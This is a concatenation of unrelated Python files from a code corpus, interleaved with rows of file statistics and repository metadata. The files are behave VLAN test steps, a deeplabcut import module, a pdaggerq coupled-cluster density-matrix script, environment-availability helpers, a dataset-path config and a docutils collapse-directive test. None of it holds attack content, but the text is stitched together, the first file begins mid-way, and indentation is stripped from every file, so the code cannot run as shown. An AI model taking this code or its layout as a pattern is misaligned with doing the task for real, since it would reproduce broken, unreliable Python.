@given(u'I create a VLAN object from a Extreme VSP API output named o0202')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Extreme VSP Netconf output named o0203')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Extreme VSP SSH output named o0204')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to IOS manually named o0301')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a IOS API output named o0302')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a IOS Netconf named o0303')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a IOS SSH named o0304')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to IOS-XR manually named o0401')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a IOS-XR API output named o0402')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a IOS-XR Netconf output named o403')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a IOS-XR SSH output named o0404')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to Juniper manually named o0501')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Juniper API output named o0502')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Juniper Netconf output named o0503')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Juniper SSH output named o0504')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to NAPALM manually named o0601')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NAPALM output named o0602')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to NXOS manually named o0701')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NXOS API output named o0702')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NXOS Netconf output named o0703')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NXOS SSH output named o0704')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to NXOS only one manually named o0711')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NXOS only one API output named o0712')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NXOS only one Netconf output named o0713')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a NXOS only one SSH output named o0714')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0001 should be equal to o0002')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0001 should be equal to o0003')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0001 should be equal to o0004')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0002 should be equal to o0003')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0002 should be equal to o0004')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0003 should be equal to o0004')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0002')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0003')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0004')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0101 should be equal to o0102')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0101 should be equal to o0103')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0101 should be equal to o0104')
def step_impl(context):
assert context.o0101 == context.o0104
@given(u'VLAN o0102 should be equal to o0103')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0102 should be equal to o0104')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0103 should be equal to o0104')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0102')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0103')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0104')
def step_impl(context):
assert _compare_vlan(
host_keys=VLAN_DATA_HOST_KEY,
hostname="leaf01",
groups=['linux'],
vlan_host_data=context.o0104,
test=True
)
@given(u'VLAN o0201 should be equal to o0202')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0201 should be equal to o0203')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0201 should be equal to o0204')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0202 should be equal to o0203')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0202 should be equal to o0204')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0203 should be equal to o0204')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0202')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0203')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0204')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0301 should be equal to o0302')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0301 should be equal to o0303')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0301 should be equal to o0304')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0302 should be equal to o0303')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0302 should be equal to o0304')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0303 should be equal to o0304')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0302')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0303')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0304')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0401 should be equal to o0402')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0401 should be equal to o0403')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0401 should be equal to o0404')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0402 should be equal to o0403')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0402 should be equal to o0404')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0403 should be equal to o0404')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0402')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0403')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0404')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0501 should be equal to o0502')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0501 should be equal to o0503')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0501 should be equal to o0504')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0502 should be equal to o0503')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0502 should be equal to o0504')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0503 should be equal to o0504')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0502')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0503')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0504')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0601 should be equal to o0602')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0701 should be equal to o0702')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0701 should be equal to o0703')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0701 should be equal to o0704')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0702 should be equal to o0703')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0702 should be equal to o0704')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0703 should be equal to o0704')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0702')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0703')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN YAML file should be equal to o0704')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0711 should be equal to o0712')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0711 should be equal to o0713')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0711 should be equal to o0714')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0712 should be equal to o0713')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0712 should be equal to o0714')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'VLAN o0713 should be equal to o0714')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I Finish my VLAN tests and list tests not implemented')
def step_impl(context):
print("| The following tests are not implemented :")
for test in context.test_not_implemented:
print(f"| {test}")
| 26.458262 | 81 | 0.724487 | 2,389 | 15,531 | 4.60067 | 0.068648 | 0.057866 | 0.106087 | 0.173597 | 0.837321 | 0.832772 | 0.830043 | 0.830043 | 0.825585 | 0.819762 | 0 | 0.052794 | 0.163351 | 15,531 | 586 | 82 | 26.503413 | 0.793058 | 0.002769 | 0 | 0.575676 | 0 | 0 | 0.389061 | 0.006974 | 0 | 0 | 0 | 0 | 0.005405 | 1 | 0.286486 | false | 0 | 0.021622 | 0 | 0.308108 | 0.005405 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
fd99ccd10f9cfe173e643ab88b5359f90ce09b59 | 284 | py | Python | deeplabcut/utils/__init__.py | serre-lab/deeplabcut_mgh | aa37b104ba4967932528d4f79665648474f51112 | [
"MIT"
] | null | null | null | deeplabcut/utils/__init__.py | serre-lab/deeplabcut_mgh | aa37b104ba4967932528d4f79665648474f51112 | [
"MIT"
] | 1 | 2019-12-15T00:37:15.000Z | 2019-12-15T00:37:15.000Z | deeplabcut/utils/__init__.py | kalpitthakkar/deeplabcut_mgh_pose | 8fa4a59f422ff0357552e290230838239edcfe1b | [
"MIT"
] | null | null | null | from deeplabcut.utils.make_labeled_video import *
from deeplabcut.utils.auxiliaryfunctions import *
from deeplabcut.utils.video_processor import *
from deeplabcut.utils.plotting import *
from deeplabcut.utils.conversioncode import *
from deeplabcut.utils.frameselectiontools import * | 40.571429 | 50 | 0.852113 | 33 | 284 | 7.242424 | 0.363636 | 0.351464 | 0.476987 | 0.523013 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084507 | 284 | 7 | 50 | 40.571429 | 0.919231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
fd9bad08889f154cdac8e8ddd94a761c3f1be223 | 6,991 | py | Python | examples/eom_ccsd_d1_by_hand.py | maxscheurer/pdaggerq | e9fef3466e0d0170afc3094ab79e603200e78dfb | [
"Apache-2.0"
] | 37 | 2020-09-17T19:29:18.000Z | 2022-03-03T16:29:16.000Z | examples/eom_ccsd_d1_by_hand.py | maxscheurer/pdaggerq | e9fef3466e0d0170afc3094ab79e603200e78dfb | [
"Apache-2.0"
] | 7 | 2021-02-28T19:22:12.000Z | 2022-02-22T15:17:47.000Z | examples/eom_ccsd_d1_by_hand.py | maxscheurer/pdaggerq | e9fef3466e0d0170afc3094ab79e603200e78dfb | [
"Apache-2.0"
] | 6 | 2021-02-16T22:34:29.000Z | 2021-12-04T19:37:23.000Z | # elements of the one-electron reduced density matrix
# at the EOM-CCSD level of theory: D(pq) = <0|(l0 + l1 + l2) e(-T) p*q e(T) (r0 + r1 + r2)|0>
import pdaggerq
pq = pdaggerq.pq_helper("fermi")
left_hand_operators = ['l0','l1','l2']
right_hand_operators = ['r0','r1','r2']
print('')
print(' D1(m,n) = <0|(l0 + l1 + l2) e(-T) e(m,n) e(T) (r0 + r1 + r2)|0>')
print('')
Dop = 'e1(m,n)'
for L in left_hand_operators:
for R in right_hand_operators:
# L e R
pq.add_operator_product(1.0,[L,Dop,R])
# L [h, T2] R
t2 = 't2'
pq.add_operator_product( 1.0,[L,Dop,t2,R])
pq.add_operator_product(-1.0,[L,t2,Dop,R])
# L [h, T1] R
t1 = 't1'
pq.add_operator_product( 1.0,[L,Dop,t1,R])
pq.add_operator_product(-1.0,[L,t1,Dop,R])
# L [[e, T2], T2] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't2'
C = 't2'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
# L [[e, T1], T2] + [[e, T2], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't2'
pq.add_operator_product( 1.0,[L,A,B,C,R])
pq.add_operator_product(-1.0,[L,B,A,C,R])
pq.add_operator_product(-1.0,[L,C,A,B,R])
pq.add_operator_product( 1.0,[L,C,B,A,R])
# L [[e, T1], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't1'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
pq.simplify()
pq.print_fully_contracted()
pq.clear()
print('')
print(' D1(e,f) = <0|(l0 + l1 + l2) e(-T) e(e,f) e(T) (r0 + r1 + r2)|0>')
print('')
Dop = 'e1(e,f)'
for L in left_hand_operators:
for R in right_hand_operators:
# L e R
pq.add_operator_product(1.0,[L,Dop,R])
# L [h, T2] R
t2 = 't2'
pq.add_operator_product( 1.0,[L,Dop,t2,R])
pq.add_operator_product(-1.0,[L,t2,Dop,R])
# L [h, T1] R
t1 = 't1'
pq.add_operator_product( 1.0,[L,Dop,t1,R])
pq.add_operator_product(-1.0,[L,t1,Dop,R])
# L [[e, T2], T2] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't2'
C = 't2'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
# L [[e, T1], T2] + [[e, T2], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't2'
pq.add_operator_product( 1.0,[L,A,B,C,R])
pq.add_operator_product(-1.0,[L,B,A,C,R])
pq.add_operator_product(-1.0,[L,C,A,B,R])
pq.add_operator_product( 1.0,[L,C,B,A,R])
# L [[e, T1], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't1'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
pq.simplify()
pq.print_fully_contracted()
pq.clear()
print('')
print(' D1(m,e) = <0|(l0 + l1 + l2) e(-T) e(m,e) e(T) (r0 + r1 + r2)|0>')
print('')
Dop = 'e1(m,e)'
for L in left_hand_operators:
for R in right_hand_operators:
# L e R
pq.add_operator_product(1.0,[L,Dop,R])
# L [h, T2] R
t2 = 't2'
pq.add_operator_product( 1.0,[L,Dop,t2,R])
pq.add_operator_product(-1.0,[L,t2,Dop,R])
# L [h, T1] R
t1 = 't1'
pq.add_operator_product( 1.0,[L,Dop,t1,R])
pq.add_operator_product(-1.0,[L,t1,Dop,R])
# L [[e, T2], T2] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't2'
C = 't2'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
# L [[e, T1], T2] + [[e, T2], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't2'
pq.add_operator_product( 1.0,[L,A,B,C,R])
pq.add_operator_product(-1.0,[L,B,A,C,R])
pq.add_operator_product(-1.0,[L,C,A,B,R])
pq.add_operator_product( 1.0,[L,C,B,A,R])
# L [[e, T1], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't1'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
pq.simplify()
pq.print_fully_contracted()
pq.clear()
print('')
print(' D1(e,m) = <0|(l0 + l1 + l2) e(-T) e(e,m) e(T) (r0 + r1 + r2)|0>')
print('')
Dop = 'e1(e,m)'
for L in left_hand_operators:
for R in right_hand_operators:
# L e R
pq.add_operator_product(1.0,[L,Dop,R])
# L [h, T2] R
t2 = 't2'
pq.add_operator_product( 1.0,[L,Dop,t2,R])
pq.add_operator_product(-1.0,[L,t2,Dop,R])
# L [h, T1] R
t1 = 't1'
pq.add_operator_product( 1.0,[L,Dop,t1,R])
pq.add_operator_product(-1.0,[L,t1,Dop,R])
# L [[e, T2], T2] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't2'
C = 't2'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
# L [[e, T1], T2] + [[e, T2], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't2'
pq.add_operator_product( 1.0,[L,A,B,C,R])
pq.add_operator_product(-1.0,[L,B,A,C,R])
pq.add_operator_product(-1.0,[L,C,A,B,R])
pq.add_operator_product( 1.0,[L,C,B,A,R])
# L [[e, T1], T1] R
#[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA
A = Dop
B = 't1'
C = 't1'
pq.add_operator_product( 1.0/2.0,[L,A,B,C,R])
pq.add_operator_product(-1.0/2.0,[L,B,A,C,R])
pq.add_operator_product(-1.0/2.0,[L,C,A,B,R])
pq.add_operator_product( 1.0/2.0,[L,C,B,A,R])
pq.simplify()
pq.print_fully_contracted()
pq.clear()
| 30.264069 | 94 | 0.481333 | 1,378 | 6,991 | 2.322206 | 0.046444 | 0.10625 | 0.27625 | 0.425 | 0.9425 | 0.9425 | 0.936875 | 0.936875 | 0.923125 | 0.923125 | 0 | 0.071095 | 0.295809 | 6,991 | 230 | 95 | 30.395652 | 0.578915 | 0.163782 | 0 | 0.921053 | 0 | 0.026316 | 0.064933 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.006579 | 0 | 0.006579 | 0.105263 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
e32c9abcd5fd998969762c72dad11793b3bd1c14 | 378 | py | Python | envs/env_utils.py | erikwijmans/sample-factory | 3835f51b7e25dddd12884082f42665b241b7e457 | [
"MIT"
] | null | null | null | envs/env_utils.py | erikwijmans/sample-factory | 3835f51b7e25dddd12884082f42665b241b7e457 | [
"MIT"
] | null | null | null | envs/env_utils.py | erikwijmans/sample-factory | 3835f51b7e25dddd12884082f42665b241b7e457 | [
"MIT"
] | 1 | 2020-07-07T07:52:25.000Z | 2020-07-07T07:52:25.000Z | from utils.utils import is_module_available
class EnvCriticalError(Exception):
pass
def vizdoom_available():
return is_module_available('vizdoom')
def minigrid_available():
return is_module_available('gym_minigrid')
def quadrotors_available():
return is_module_available('gym_art')
def dmlab_available():
return is_module_available('deepmind_lab')
| 17.181818 | 46 | 0.775132 | 46 | 378 | 6 | 0.434783 | 0.144928 | 0.307971 | 0.333333 | 0.485507 | 0.253623 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140212 | 378 | 21 | 47 | 18 | 0.849231 | 0 | 0 | 0 | 0 | 0 | 0.100529 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.363636 | true | 0.090909 | 0.090909 | 0.363636 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 7 |
e36dae50ac752e374f777d9099f1d055a8f2a6e3 | 2,737 | py | Python | main/config.py | nqanh/video_2_command | 0852f1fb96579cb01740e7d2e20e54092383a34d | [
"MIT"
] | 6 | 2019-06-18T19:20:36.000Z | 2021-12-01T06:24:58.000Z | main/config.py | nqanh/video_2_command | 0852f1fb96579cb01740e7d2e20e54092383a34d | [
"MIT"
] | 5 | 2019-08-02T19:44:45.000Z | 2021-11-06T05:48:10.000Z | main/config.py | nqanh/video_2_command | 0852f1fb96579cb01740e7d2e20e54092383a34d | [
"MIT"
] | 3 | 2019-07-07T16:51:12.000Z | 2021-10-16T14:02:11.000Z | # return hyper parameters
import os
def get_global_parameters():
dic_param = {
'dim_hidden':512,
#'dim_hidden':256,
'n_frame_step': 30, ## DO NOT CHANGE
'n_epochs': 1000,
#'learning_rate': 0.0001, ## GOOD FOR VGG + RESNET
'learning_rate': 0.0001, ## Test for GoogleNet
'batch_size': 16,
'resnet':{'dim_image':2048,
'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_resnet50.pkl',
'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_resnet50.pkl'},
'vgg19':{'dim_image':4096,
'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_vgg19.pkl',
'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_vgg19.pkl'},
'resnet50_keras_feature_no_sub_mean':{'dim_image':2048,
'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_resnet50_keras_feature_no_sub_mean.pkl',
'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_resnet50_keras_feature_no_sub_mean.pkl'},
'vgg16_keras_feature_no_sub_mean':{'dim_image':4096,
'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_vgg16_keras_feature_no_sub_mean.pkl',
'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_vgg16_keras_feature_no_sub_mean.pkl'},
'inception_keras_feature_no_sub_mean':{'dim_image':2048,
'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_inception_keras_feature_no_sub_mean.pkl',
'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_inception_keras_feature_no_sub_mean.pkl'},
'inception_tensorflow_from_saliency':{'dim_image':2048,
'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_inception_tensorflow_from_saliency.pkl',
'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_inception_tensorflow_from_saliency.pkl'},
}
return dic_param
| 63.651163 | 161 | 0.624406 | 306 | 2,737 | 5.153595 | 0.199346 | 0.060875 | 0.114141 | 0.182625 | 0.837032 | 0.807229 | 0.798985 | 0.722257 | 0.722257 | 0.722257 | 0 | 0.041227 | 0.273292 | 2,737 | 42 | 162 | 65.166667 | 0.751634 | 0.044209 | 0 | 0 | 0 | 0 | 0.623945 | 0.534919 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.035714 | 0 | 0.107143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
8b554396770831fdd3dbf2a2a507d856777428ab | 3,808 | py | Python | _unittests/ut_sphinxext/test_collapse_extension.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 18 | 2015-11-10T08:09:23.000Z | 2022-02-16T11:46:45.000Z | _unittests/ut_sphinxext/test_collapse_extension.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 321 | 2015-06-14T21:34:28.000Z | 2021-11-28T17:10:03.000Z | _unittests/ut_sphinxext/test_collapse_extension.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 10 | 2015-06-20T01:35:00.000Z | 2022-01-19T15:54:32.000Z | """
@brief test log(time=4s)
@author Xavier Dupre
"""
import sys
import os
import unittest
from docutils.parsers.rst import directives
from pyquickhelper.pycode import get_temp_folder, ExtTestCase
from pyquickhelper.helpgen import rst2html
class TestCollapseExtension(ExtTestCase):
def test_collapse(self):
from docutils import nodes as skip_
content = """
before
.. collapse::
this code shoud appear___
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
temp = get_temp_folder(__file__, "temp_collapse")
# RST
html = rst2html(content, writer="rst", keep_warnings=True)
with open(os.path.join(temp, "out_collapse.rst"), "w", encoding="utf8") as f:
f.write(html)
t1 = " this code shoud appear___"
if t1 not in html:
raise Exception(html)
t1 = ".. collapse::"
if t1 not in html:
raise Exception(html)
t1 = " :legend:"
if t1 not in html:
raise Exception(html)
t1 = "after"
if t1 not in html:
raise Exception(html)
t1 = ".. collapse:: :legend:"
if t1 in html:
raise Exception(html)
# HTML
html = rst2html(content, writer="custom", keep_warnings=True)
with open(os.path.join(temp, "out_collapse.html"), "w", encoding="utf8") as f:
f.write(html)
t1 = "this code shoud appear"
if t1 not in html:
raise Exception(html)
t1 = "after"
if t1 not in html:
raise Exception(html)
t1 = 'if (x.style.display === "none")'
if t1 not in html:
raise Exception(html)
t1 = "b.innerText = 'unhide';"
if t1 not in html:
raise Exception(html)
def test_collapse_legend(self):
from docutils import nodes as skip_
content = """
before
.. collapse::
:legend: ABC/abcd
this code shoud appear___
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
# RST
html = rst2html(content, writer="rst", keep_warnings=True)
t1 = ":legend: ABC/abcd"
if t1 not in html:
raise Exception(html)
t1 = ":hide:"
if t1 in html:
raise Exception(html)
# HTML
html = rst2html(content, writer="custom", keep_warnings=True)
t1 = "b.innerText = 'abcd';"
if t1 not in html:
raise Exception(html)
def test_collapse_show(self):
from docutils import nodes as skip_
content = """
before
.. collapse::
:legend: ABC/abcd
:hide:
this code shoud appear___
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
# RST
html = rst2html(content, writer="rst", keep_warnings=True)
t1 = ":hide:"
if t1 not in html:
raise Exception(html)
# HTML
html = rst2html(content, writer="custom", keep_warnings=True)
t1 = ">abcd<"
if t1 not in html:
raise Exception(html)
t1 = '"display:none;"'
if t1 not in html:
raise Exception(html)
if __name__ == "__main__":
unittest.main()
